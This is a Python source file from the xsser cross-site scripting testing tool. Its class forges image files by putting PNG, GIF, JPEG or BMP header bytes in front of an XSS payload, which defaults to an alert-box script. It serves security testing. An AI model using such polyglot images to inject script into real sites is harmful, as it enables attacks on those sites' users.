imagexss.py 2.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. $Id$
  6. This file is part of the xsser project, http://xsser.03c8.net
  7. Copyright (c) 2011/2016 psy <epsylon@riseup.net>
  8. xsser is free software; you can redistribute it and/or modify it under
  9. the terms of the GNU General Public License as published by the Free
  10. Software Foundation version 3 of the License.
  11. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  12. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  13. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  14. details.
  15. You should have received a copy of the GNU General Public License along
  16. with xsser; if not, write to the Free Software Foundation, Inc., 51
  17. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  18. """
  19. import os
  20. class ImageInjections(object):
  21. def __init__(self, payload =''):
  22. self._payload = payload
  23. def image_xss(self, filename, payload):
  24. """
  25. Create -fake- image with code XSS injected.
  26. """
  27. # check user image name input valid extensions
  28. root, ext = os.path.splitext(filename)
  29. # create file and inject code
  30. if ext.lower() in [".png", ".jpg", ".gif", ".bmp"]:
  31. f = open(filename, 'wb')
  32. # check user payload input
  33. user_payload = payload
  34. if not user_payload:
  35. user_payload = "<script>alert('XSS')</script>"
  36. # inject each XSS specific code
  37. if ext.lower() == ".png":
  38. content = '‰PNG' + user_payload
  39. elif ext.lower() == ".gif":
  40. content = 'GIF89a' + user_payload
  41. elif ext.lower() == ".jpg":
  42. content = 'ÿØÿà JFIF' + user_payload
  43. elif ext.lower() == ".bmp":
  44. content = 'BMFÖ' + user_payload
  45. # write and close
  46. f.write(content)
  47. f.close()
  48. image_results = "\nCode: "+ content + "\nFile: ", root + ext
  49. else:
  50. image_results = "\nPlease select a supported extension = .PNG, .GIF, .JPG or .BMP"
  51. return image_results
  52. if __name__ == '__main__':
  53. image_xss_injection = ImageInjections('')
  54. print image_xss_injection.image_xss('ImageXSSpoison.png' , "<script>alert('XSS')</script>")